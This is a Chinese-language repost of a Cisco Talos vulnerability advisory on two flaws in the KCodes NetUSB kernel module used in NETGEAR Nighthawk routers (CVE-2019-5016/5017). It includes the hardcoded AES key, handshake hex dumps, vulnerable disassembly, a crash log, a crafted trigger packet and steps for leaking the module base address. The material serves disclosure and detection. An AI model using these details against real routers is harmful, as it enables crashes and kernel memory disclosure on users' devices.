内容简介:一、执行摘要近期,我们发现,KCodes的NetUSB内核模块中存在两个漏洞,可能允许攻击者不恰当地访问某些NETGEAR无线路由器上的信息。这些具体型号的路由器使用台湾公司KCodes的内核模块。内核模块是根据每个设备单独定制的,但这些内核模块都包含类似的功能。该模块通过TCP实现USB设备的共享,允许客户端使用各种供应商制造的驱动程序和软件连接到这些设备上。攻击者可以在本地网络上发送特定数据包,以利用NetUSB中存在的漏洞,使得路由器泄露敏感信息,甚至最严重能导致攻击者远程执行代码。
一、执行摘要
近期,我们发现,KCodes的NetUSB内核模块中存在两个漏洞,可能允许攻击者不恰当地访问某些NETGEAR无线路由器上的信息。这些具体型号的路由器使用台湾公司KCodes的内核模块。内核模块是根据每个设备单独定制的,但这些内核模块都包含类似的功能。
该模块通过TCP实现USB设备的共享,允许客户端使用各种供应商制造的驱动程序和软件连接到这些设备上。攻击者可以在本地网络上发送特定数据包,以利用NetUSB中存在的漏洞,使得路由器泄露敏感信息,甚至最严重能导致攻击者远程执行代码。
根据我们的协调披露政策,Cisco Talos就此漏洞与KCodes和NETGEAR取得了联系。在与KCodes开展合作之后,该供应商向NETGEAR提供了更新,并且NETGEAR已经计划发布更新。Talos团队决定在超过90天期限后公布相关漏洞的具体细节。
二、KCodes NetUSB未经身份验证的远程内核任意内存读取漏洞(TALOS-2018-0775/CVE-2019-5016)
2.1 摘要
KCodes NetUSB.ko内核模块中存在可以被攻击者利用的任意内存读取漏洞,该模块支持至少两种型号的NETGEAR Nighthawk路由器以及一些其他供应商/产品的ReadySHARE打印机功能。攻击者如果特制索引值,可能会导致无效的内存读取,从而导致拒绝服务或远程信息泄露。未经身份验证的攻击者可以在本地网络上精心构造一个数据包,从而触发此漏洞。
2.2 测试版本
NETGEAR Nighthawk AC3200(R8000),固件版本:V1.0.4.2810.1.54(11/7/18),NetUSB.ko 1.0.2.66
NETGEAR Nighthawk AC3000(R7900),固件版本:V1.0.3.810.0.37(11/7/18),NetUSB.ko 1.0.2.69
2.3 产品网址
http://www.kcodes.com
https://www.netgear.com/home/products/networking/wifi-routers/R7900.aspx
https://www.netgear.com/home/products/networking/wifi-routers/R8000.aspx
https://www.netgear.com/support/product/ReadySHAREUSBPrinter.aspx
2.4 CVSS v3得分
10.0 – CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H
2.5 CWE
CWE-200:信息泄露
2.6 漏洞细节
部分型号的NETGEAR路由器使用一家名为KCodes的台湾公司的定制内核模块NetUSB.ko。该模块是针对每个设备专门定制的,但不同模块之间的功能相类似。该模块通过TCP共享USB设备,允许客户端使用各种供应商制造的驱动程序和软件连接到这些设备,从而使得客户端主机将远程设备视为实际插入到计算机上的本地USB设备。在NETGEAR路由器上使用的软件名称为“NETGEAR USB Control Center”(NETGEAR USB控制中心),它使用名为“NetUSBUDSTcpBus.sys”(在Windows系统上)的驱动程序进行通信。许多其他产品都是用了NetUSB.ko。但遗憾的是,我们无法测试如此大量的潜在设备。在2015年,曾经披露了一个先前研究的漏洞,研究人员由此认为,这个内核模块的缺陷可能存在于多家供应商生产的多达92种产品之中。基于此分析,我们使用R8000硬件来测试R8000版本的NetUSB.ko(1.0.2.66),并使用R7900版本来测试R7900版本的NetUSB.ko(1.0.2.69),因为上述两个模块都是针对同一内核而编译的。
在建立与远程USB设备的通信时,必须首先进行握手。握手过程的工作原理如下:
客户端首先发送字节“0x5605”,然后发送16字节的“随机”数据。
00000000 56 05 V. 00000002 81 77 d9 74 f8 9f b4 74 ee 94 02 07 0d b1 38 40 .w.t...t <a href="/cdn-cgi/l/email-protection" data-cfemail="b59b9b9b9b9b9b8df5">[email protected]</a>
服务器(路由器)将使用静态AES密钥5c130b59d26242649ed488382d5eaecc对这些字节进行加密,该密钥被硬编码到NetUSB.ko中,并通过使用密钥0B7928FF6A76223C21A3B794084E1CAD解密0B7928FF6A76223C21A3B794084E1CAD来实现检索。
在加密客户端数据之后,加密的响应与16字节的“随机”数据一起被发送回客户端,以供客户端进行加密并返回。
00000000 29 9e 4d 05 f6 d0 9d 98 ae 7f 81 35 39 83 67 13 ).M..... ...59.g. // Client data encrypted 00000010 af 60 20 6b fa 52 7d 90 82 a3 82 63 f4 b1 14 c1 .` k.R}. ...c.... // Server data to be encrypted and returned
客户端通过使用相同的AES密钥加密“随机”服务器数据,然后将客户端计算机名称的长度作为小端格式的四个字节进行响应。接下来,发送的是计算机名称本身和同步(Synch)命令0x7,同样采用的是小端格式,长度为4个字节。
00000012 2c b7 34 c6 32 e3 70 0e 26 bc 66 48 b8 7b c1 1c ,.4.2.p. &.fH.{.. // Encrypted server data 00000022 0c 00 00 00 .... // Computer name length 00000026 57 49 4e 44 4f 57 53 50 43 2d 30 31 WINDOWSP C-01 // Computer name 00000032 07 00 00 00 .... // Sync Command
当服务器以0x17作为响应时,握手完成(0x15表示设备不可用):
00000020 17 00 00 00 .... // Connection Established
要实际使用设备并建立远程TCP总线,需要发送一系列操作码和数据到服务器上。建立此类通信时,第二个字节是堆栈中可用共享设备列表中的设备编号或索引。该字节没有经过验证,将会允许远程攻击者触发模块尝试读取任意内存,最终导致远程内存泄漏。在这个例子中,我们使用操作码0x2调用“getConfigDescriptor”。
易受攻击的代码:
00007E30 LDRB R3, [R4,#1] ; R4 is our command buffer, R3 is set with our index value 00007E34 ADD R3, R6, R3,LSL#2 ; add index*4 to the r6 (sbus address -- holds our session info) this is where we can use a malicious index (0x8a) to instead point this buffer to our hostname in the sbus buffer 00007E38 LDR R5, [R3,#0x2C] ; increment the sbus address by 0x2c 00007E3C CMP R5, #0 ; Ensure value is not NULL 00007E40 BNE loc_7E68 ; Br 00007E68 LDR R7, [R5,#0x44] R5 now points to our hostname buffer + 0x44 [snip] 00007E84 BL getConfigDescriptor ; [snip] 00003960 getConfigDescriptor [snip] 00003A48 LDR R3, [R5,#0x1B4] ; dereference [R5+0x44] pointer 00003A4C LDR R3, [R3,R7,LSL#2] ; R7 we control with the 3rd byte in our command, we leave this at 0. 00003A50 LDRB R2, [R3,#2] ; R2 = 3rd byte of [R3] 00003A54 LDRB R3, [R3,#3] ; R3 = 4th byte of [R3] 00003A58 ORR R2, R2, R3,LSL#8 ; R2 = R2 | R3 * 256 -- this is the memcpy size if < 0x9 00003A5C LDR R3, [R5,#0x1B4] ; Again dereference [r5+0x44] pointer 00003A60 CMP R6, R2 ; compare R6 (descriptor length -- hardcoded 0x9) to our R2 value obtained at 0x3a58 00003A64 MOVGE R0, R4 00003A68 MOVLT R0, R4 ; This destination is the data buffer that will be sent back to the client 00003A6C MOVLT R2, R6 ; If R6 < R2 at 0x3a60, use R6 as the count parameter (0x9). 00003A70 LDRGE R1, [R3,R7,LSL#2] ; This will be our source buffer 00003A74 LDRLT R1, [R3,R7,LSL#2] ; This is the pointer we received at 0x3a5c 00003A78 BL memcpy ; We can now control what data is read into this buffer and eventually the memory contents are returned to the client.
2.7 崩溃信息
如果我们能在任意时刻给出一个无效的地址,那么就可以对目标进行简单地DoS(拒绝服务)攻击:
[ 116.820000] INFO1624: new connection from 192.168.1.2 : cf5d3a00 [ 117.420000] INFO1EFE: command local:00000017 remote:00000007 final:00000007 [ 117.430000] INFO1F3C: new Tunnel : remote ID = MYHOSTNAME, length = 10 [ 117.440000] INFO14A5: new connection sbus ca8ed400 [ 117.440000] V4 : 0201A8C0 [ 117.630000] kc 144 : dbgd client connect ok cf5d36c0 [ 117.830000] INFO04FB: _fillBuf(): len = 0 [ 117.830000] INFO0471: KTCP_Stop : sbus ca8ed400 name:MYHOSTNAME [ 117.840000] INFO146F: SoftwareBus_dispatchThread exit [ 118.050000] INFO1624: new connection from 192.168.1.2 : cf68e000 [ 118.650000] INFO1EFE: command local:00000017 remote:00000007 final:00000007 [ 118.660000] INFO1F3C: new Tunnel : remote ID = PAD�@AA�Ԏ�`֎ʠ�, length = 19 [ 118.660000] INFO14A5: new connection sbus ca8ed400 [ 118.670000] V4 : 0201A8C0 [ 119.050000] Unable to handle kernel paging request at virtual address 41414141 [ 119.060000] pgd = c0004000 [ 119.060000] [41414141] *pgd=00000000 [ 119.060000] Internal error: Oops: 5 [#1] PREEMPT SMP [ 119.060000] last sysfs file: /sys/kernel/uevent_seqnum [ 119.060000] module: NetUSB bf111000 162837 [ 119.060000] module: GPL_NetUSB bf10a000 3743 [ 119.060000] module: MultiSsidCntl bf103000 5265 [ 119.060000] module: ip_set_hash_net bf0f7000 21118 [ 119.060000] module: ip_set_hash_ipmark bf0ec000 18532 [ 119.060000] module: ip_set_list_set bf0e5000 6885 [ 119.060000] module: ip_set_hash_netiface bf0d9000 22630 [ 119.060000] module: ip_set_hash_ipmac bf0ce000 19038 [ 119.060000] module: ip_set_hash_mac bf0c6000 9433 [ 119.060000] module: ip_set_hash_ip bf0bb000 18296 [ 119.060000] module: ip_set_hash_netportnet bf0ae000 25242 [ 119.060000] module: ip_set_hash_ipportnet bf0a2000 24446 [ 119.060000] module: ip_set_bitmap_port bf09e000 5721 [ 119.060000] module: ip_set_hash_netport bf092000 22954 [ 119.060000] module: ip_set_hash_ipport bf087000 19156 [ 119.060000] module: ip_set_bitmap_ipmac bf048000 6351 [ 119.060000] module: ip_set_hash_netnet bf026000 24018 [ 119.060000] module: ip_set_hash_ipportip bf01b000 20008 [ 119.060000] module: ip_set_bitmap_ip bf007000 6397 [ 119.060000] module: ip_set bf686000 24837 [ 119.060000] module: ipv6_spi bf675000 39791 [ 119.060000] module: ufsd bf5c7000 627276 [ 119.060000] module: jnl bf5b8000 29052 [ 119.060000] module: acos_nat bf258000 3444282 [ 119.060000] module: dhd bf04b000 236809 [ 119.060000] module: dpsta bf045000 2921 [ 119.060000] module: et bf030000 52421 [ 119.060000] module: igs bf015000 13866 [ 119.060000] module: emf bf00b000 16229 [ 119.060000] module: ctf bf000000 17805 [ 119.060000] Modules linked in: NetUSB(P) GPL_NetUSB MultiSsidCntl(P) ip_set_hash_net ip_set_hash_ipmark ip_set_list_set ip_set_hash_netiface ip_set_hash_ipmac ip_set_hash_mac ip_set_hash_ip ip_set_hash_netportne t ip_set_hash_ipportnet ip_set_bitmap_port ip_set_hash_netport ip_set_hash_ipport ip_set_bitmap_ipmac ip_set_hash_netnet ip_set_hash_ipportip ip_set_bitmap_ip ip_set ipv6_spi(P) ufsd(P) jnl acos_nat(P) dhd dpsta(P) et(P) igs(P) emf(P) ctf(P) [last unloaded: ipv6_spi] [ 119.060000] CPU: 0 Tainted: P (2.6.36.4brcmarm+ #17) [ 119.060000] PC is at SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB] [ 119.060000] LR is at SoftwareBus_reportConfigDescGot+0x58/0x268 [NetUSB] [ 119.060000] pc : [<bf118e68>] lr : [<bf118e30>] psr: 20000013 [ 119.060000] sp : ca00ff60 ip : cf937fe0 fp : 00000000 [ 119.060000] r10: 00000000 r9 : 00000000 r8 : 00000000 [ 119.060000] r7 : bf124f1c r6 : ca8ed400 r5 : 414140fd r4 : cf937fe0 [ 119.060000] r3 : ca8ed628 r2 : 00000000 r1 : a0000013 r0 : ca8ed400 [ 119.060000] Flags: nzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment kernel [ 119.060000] Control: 10c53c7d Table: 8a05c04a DAC: 00000017 [ 119.060000] Process NU Work:4696 (pid: 20370, stack limit = 0xca00e270) [ 119.060000] Stack: (0xca00ff60 to 0xca010000) [ 119.060000] ff60: 7fffffff ca8866f0 ca8866f4 c03830c4 ffffffff ffffffff ca00e000 04134868 [ 119.060000] ff80: cf937fc0 00000000 ca00ffcc bf124f1c 00000000 00000000 00000000 bf11ec68 [ 119.060000] ffa0: ca8866c0 bf134868 ca00ffcc bf124f70 00000000 ca065f28 ca8866c0 c0078cdc [ 119.060000] ffc0: ca065f28 00000000 ca8866c0 00000001 00000000 00000000 ca00ffd8 ca00ffd8 [ 119.060000] ffe0: 00000000 ca065f28 c0078c58 c0040b58 00000013 c0040b58 00000000 00000000 [ 119.060000] [<bf118e68>] (PC is at SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB]) [ 119.060000] [<bf118e68>] (SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB]) from [<bf11ec68>] (SoftwareBusWorkThreadProc+0x90/0xc4 [NetUSB]) [ 119.060000] [<bf11ec68>] (SoftwareBusWorkThreadProc+0x90/0xc4 [NetUSB]) from [<bf124f70>] (_thread_create_helper+0x54/0x114 [NetUSB]) [ 119.060000] [<bf124f70>] (_thread_create_helper+0x54/0x114 [NetUSB]) from [<c0078cdc>] (kthread+0x84/0x8c) [ 119.060000] [<c0078cdc>] (kthread+0x84/0x8c) from [<c0040b58>] (kernel_thread_exit+0x0/0x8) [ 119.060000] Code: eb3d9379 e5c45003 e5c45004 ea000033 (e5957044) [ 119.430000] INFO04FB: _fillBuf(): len = 0 [ 119.440000] ---[ end trace 54b44174edbb4652 ]--- [ 119.440000] Kernel panic - not syncing: Fatal exception [ 119.450000] [<c0046358>] (unwind_backtrace+0x0/0xe4) from [<c0382d94>] (panic+0x68/0x194) [ 119.460000] [<c0382d94>] (panic+0x68/0x194) from [<c0043548>] (die+0x194/0x1dc) [ 119.460000] [<c0043548>] (die+0x194/0x1dc) from [<c00474f8>] (__do_kernel_fault+0x64/0x84) [ 119.470000] [<c00474f8>] (__do_kernel_fault+0x64/0x84) from [<c00476dc>] (do_page_fault+0x1c4/0x1d8) [ 119.480000] [<c00476dc>] (do_page_fault+0x1c4/0x1d8) from [<c003f3a4>] (do_DataAbort+0x30/0x98) [ 119.490000] [<c003f3a4>] (do_DataAbort+0x30/0x98) from [<c0463a8c>] (__dabt_svc+0x4c/0x60) [ 119.500000] Exception stack(0xca00ff18 to 0xca00ff60) [ 119.500000] ff00: ca8ed400 a0000013 [ 119.510000] ff20: 00000000 ca8ed628 cf937fe0 414140fd ca8ed400 bf124f1c 00000000 00000000 [ 119.520000] ff40: 00000000 00000000 cf937fe0 ca00ff60 bf118e30 bf118e68 20000013 ffffffff [ 119.530000] [<c0463a8c>] (__dabt_svc+0x4c/0x60) from [<bf118e68>] (SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB]) [ 119.540000] [<bf118e68>] (SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB]) from [<bf11ec68>] (SoftwareBusWorkThreadProc+0x90/0xc4 [NetUSB]) [ 119.550000] [<bf11ec68>] (SoftwareBusWorkThreadProc+0x90/0xc4 [NetUSB]) from [<bf124f70>] (_thread_create_helper+0x54/0x114 [NetUSB]) [ 119.560000] [<bf124f70>] (_thread_create_helper+0x54/0x114 [NetUSB]) from [<c0078cdc>] (kthread+0x84/0x8c) [ 119.570000] [<c0078cdc>] (kthread+0x84/0x8c) from [<c0040b58>] (kernel_thread_exit+0x0/0x8) [ 119.580000] dump_kmsg: dump list lock is held during panic, skipping dump [ 119.590000] CPU1: stopping [ 119.590000] [<c0046358>] (unwind_backtrace+0x0/0xe4) from [<c003f2f0>] (do_IPI+0xfc/0x180) [ 119.590000] [<c003f2f0>] (do_IPI+0xfc/0x180) from [<c0463ae8>] (__irq_svc+0x48/0xe8) [ 119.590000] Exception stack(0xcf83df98 to 0xcf83dfe0) [ 119.590000] df80: 00000000 cd7e0f00 [ 119.590000] dfa0: cf83dfe0 00000000 cf83c000 c04b0bc8 c04d50a8 c04d5220 80000000 413fc090 [ 119.590000] dfc0: 0000001f 00000000 c0508cd8 cf83dfe0 c0040bb0 c0040bb4 60000013 ffffffff [ 119.590000] [<c0463ae8>] (__irq_svc+0x48/0xe8) from [<c0040bb4>] (default_idle+0x24/0x28) [ 119.590000] [<c0040bb4>] (default_idle+0x24/0x28) from [<c0040d1c>] (cpu_idle+0x40/0x94) [ 119.590000] [<c0040d1c>] (cpu_idle+0x40/0x94) from [<80008110>] (0x80008110) [ 119.870000] NVRAM LOG 16384 33858 50242 [ 120.080000] Rebooting in 3 seconds..Digital core power voltage set to 1.0V
2.8 漏洞利用概念证明
在此示例中,我没有将任何设备连接到路由器。我使用设备索引0x8a,它将指向计算机名称(在握手的过程中放置在栈上),而不是有效的设备索引。根据设备编号读取的地址取决于栈上的设备数量,因为栈将随着附加设备的增多而增长。但是,可以像攻击者希望的那样经常增加或修改此值,直到成功实现漏洞利用。此示例中的操作码(索引之前的字节)是0x02或getConfigDescriptor。
2.9 时间线
2019-02-01 向供应商报告漏洞
2019-02-11 供应商确认漏洞,并询问PGP
2019-03-06 发送报告的纯文本副本,确保NetGear也了解漏洞情况
2019-05-08 向供应商同步当前进展
2019-05-15 供应商建议为NetGear提供新的模块
2019-06-17 公开发布
2.10 贡献者
该漏洞由Cisco Talos团队的Dave McDaniel发现。
三、KCodes NetUSB未经身份验证的远程内核信息泄露漏洞(TALOS-2018-0776/CVE-2019-5017)
3.1 摘要
KCodes NetUSB.ko内核模块中存在可以被攻击者利用的信息泄露漏洞,该漏洞至少影响两种型号的NETGEAR Nighthawk路由器以及一些其他供应商/产品的ReadySHARE打印机功能。未经身份验证的远程攻击者可以精心构造并发送包含操作码的数据包,该操作码将触发内核模块返回多个地址,其中的一个地址可以用于计算模块的动态基址,以供进一步利用。
3.2 测试版本
NETGEAR Nighthawk AC3200(R8000),固件版本:V1.0.4.2810.1.54(11/7/18),NetUSB.ko 1.0.2.66
3.3 产品网址
http://www.kcodes.com
https://www.netgear.com/home/products/networking/wifi-routers/R8000.aspx
https://www.netgear.com/support/product/ReadySHAREUSBPrinter.aspx
3.4 CVSS v3得分
5.8 – CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
3.5 CWE
CWE-200:信息泄露
3.6 漏洞细节
部分型号的NETGEAR路由器使用一家名为KCodes的台湾公司的定制内核模块NetUSB.ko。该模块是针对每个设备专门定制的,但不同模块之间的功能相类似。该模块通过TCP共享USB设备,允许客户端使用各种供应商制造的驱动程序和软件连接到这些设备,从而使得客户端主机将远程设备视为实际插入到计算机上的本地USB设备。在NETGEAR路由器上使用的软件名称为“NETGEAR USB Control Center”(NETGEAR USB控制中心),它使用名为“NetUSBUDSTcpBus.sys”(在Windows系统上)的驱动程序进行通信。许多其他产品都是用了NetUSB.ko。但遗憾的是,我们无法测试如此大量的潜在设备。在2015年,曾经披露了一个先前研究的漏洞,研究人员由此认为,这个内核模块的缺陷可能存在于多家供应商生产的多达92种产品之中。基于此分析,我们使用R8000硬件来测试R8000版本的NetUSB.ko(1.0.2.66),并使用R7900版本来测试R7900版本的NetUSB.ko(1.0.2.69),因为上述两个模块都是针对同一内核而编译的。
在建立与远程USB设备的通信时,必须首先进行握手。握手过程的工作原理如下:
客户端首先发送字节“0x5605”,然后发送16字节的“随机”数据。
00000000 56 05 V. 00000002 81 77 d9 74 f8 9f b4 74 ee 94 02 07 0d b1 38 40 .w.t...t <a href="/cdn-cgi/l/email-protection" data-cfemail="5a747474747474621a">[email protected]</a>
服务器(路由器)将使用静态AES密钥5c130b59d26242649ed488382d5eaecc对这些字节进行加密,该密钥被硬编码到NetUSB.ko中,并通过使用密钥0B7928FF6A76223C21A3B794084E1CAD解密0B7928FF6A76223C21A3B794084E1CAD来实现检索。
在加密客户端数据之后,加密的响应与16字节的“随机”数据一起被发送回客户端,以供客户端进行加密并返回。
00000000 29 9e 4d 05 f6 d0 9d 98 ae 7f 81 35 39 83 67 13 ).M..... ...59.g. // Client data encrypted 00000010 af 60 20 6b fa 52 7d 90 82 a3 82 63 f4 b1 14 c1 .` k.R}. ...c.... // Server data to be encrypted and returned
客户端通过使用相同的AES密钥加密“随机”服务器数据,然后将客户端计算机名称的长度作为小端格式的四个字节进行响应。接下来,发送的是计算机名称本身和同步(Synch)命令0x7,同样采用的是小端格式,长度为4个字节。
00000012 2c b7 34 c6 32 e3 70 0e 26 bc 66 48 b8 7b c1 1c ,.4.2.p. &.fH.{.. // Encrypted server data 00000022 0c 00 00 00 .... // Computer name length 00000026 57 49 4e 44 4f 57 53 50 43 2d 30 31 WINDOWSP C-01 // Computer name 00000032 07 00 00 00 .... // Sync Command
当服务器以0x17作为响应时,握手完成(0x15表示设备不可用):
00000020 17 00 00 00 .... // Connection Established
要实际使用设备并建立远程TCP总线,需要发送一系列操作码和数据到服务器上。建立此类通信时,第二个字节是堆栈中可用共享设备列表中的设备编号或索引。其中,有一个操作码为0x0c,这是一个指示我们希望调用SoftwareBus_processSetDeviceMaster函数的索引。攻击者可以构造非常简单的请求,例如索引为0,后面紧接着至少16个字节的数据的操作码,就足以触发这个漏洞。
00000000: 0C 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA 00000010: 41 41 AA
响应包括至少4个地址和3个附加字节的数据。接收到的地址样例如下所示,可以允许客户端计算NetUSB.ko模块的基址。
[-] Raw Response 00000000: 15 00 E1 FF 00 E0 25 CA 68 48 13 BF CC FF 25 CA ......%.hH....%. 00000010: 98 56 06 .V. [-] Parsed Response Address Found: 0xFFE10015 Address Found: 0xCA25E000 # Likely stack boundary (Always 0x1FCC bytes apart) Address Found: 0xBF134868 # Pointer to `softwarebus_do_iPod_init_set_configuration` Address Found: 0xCA25FFCC # Likely a stack boundary (Always 0x1FCC bytes apart) NetUSB.ko Base Address Found: 0xBF111000
收到的第三部分内容是这个漏洞要成功利用的关键因素,它始终指向NetUSB.ko模块的.bss部分中的值:
bss:00023868 softwarebus_do_iPod_init_set_configuration
了解这一点之后,再使用上面的示例会话,我们可以从0xBF134868中减去偏移量0x23868得到基址0xBF111000。这是我们在测试期间发现的最为常见的基址,但也可能偶尔会在重新启动时发生变化。
3.7 时间线
2019-02-01 向供应商报告漏洞
2019-02-11 供应商确认漏洞,并询问PGP
2019-03-06 发送报告的纯文本副本,确保NetGear也了解漏洞情况
2019-05-08 向供应商同步当前进展
2019-05-15 供应商建议为NetGear提供新的模块
2019-06-14 公开发布
3.8 贡献者
该漏洞由Cisco Talos团队的Dave McDaniel发现。
四、受影响的版本
Talos团队测试并确认了CVE-2019-5016和CVE-2019-5017漏洞影响NETGEAR Nighthawk AC3200(R8000),固件版本为1.0.4.28_10.1.54 — NetUSB.ko 1.0.2.66。CVE-2019-5016漏洞影响NETGEAR Nighthawk AC3000(R7900),固件版本为1.0.3.8_10.0.37 (11/1/18) — NetUSB.ko 1.0.2.69。
五、安全补丁
目前尚未发布针对上述两个漏洞的安全补丁。
六、检测方式
下面的SNORT规则可以检测漏洞利用的尝试。需要注意的是,可能会在将来的某个时间发布其他规则,并且根据该漏洞其他信息的披露,当前规则可能会发生更改。有关最新的规则信息,请参考Firepower管理中心或Snort.org。
Snort规则:49087
以上所述就是小编给大家介绍的《影响NETGEAR路由器的0-Day:KCodes NetUSB两个安全漏洞披露(CVE-2019-5016/5017)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 现如今连安全漏洞命名都用表情符了:思科路由器安全启动漏洞????????????(生气猫)
- 【安全帮】“三只小猫”漏洞威胁全球数百万思科路由器
- 安全性堪忧:手把手教你寻找MikroTik路由器漏洞
- TP-Link 不回应,安全工程师公开了其路由器漏洞
- 多维安全漏洞治理,提升安全运营能力
- [浏览器安全漏洞一] dll劫持漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
MongoDB
Kristina Chodorow、Michael Dirolf / O'Reilly Media / 2010-9-24 / USD 39.99
Discover how MongoDB can help you manage a huMONGOus amount of data collected through your web application. This book covers the basic principles and advanced uses of this document-oriented database, ......一起来看看 《MongoDB》 这本书的介绍吧!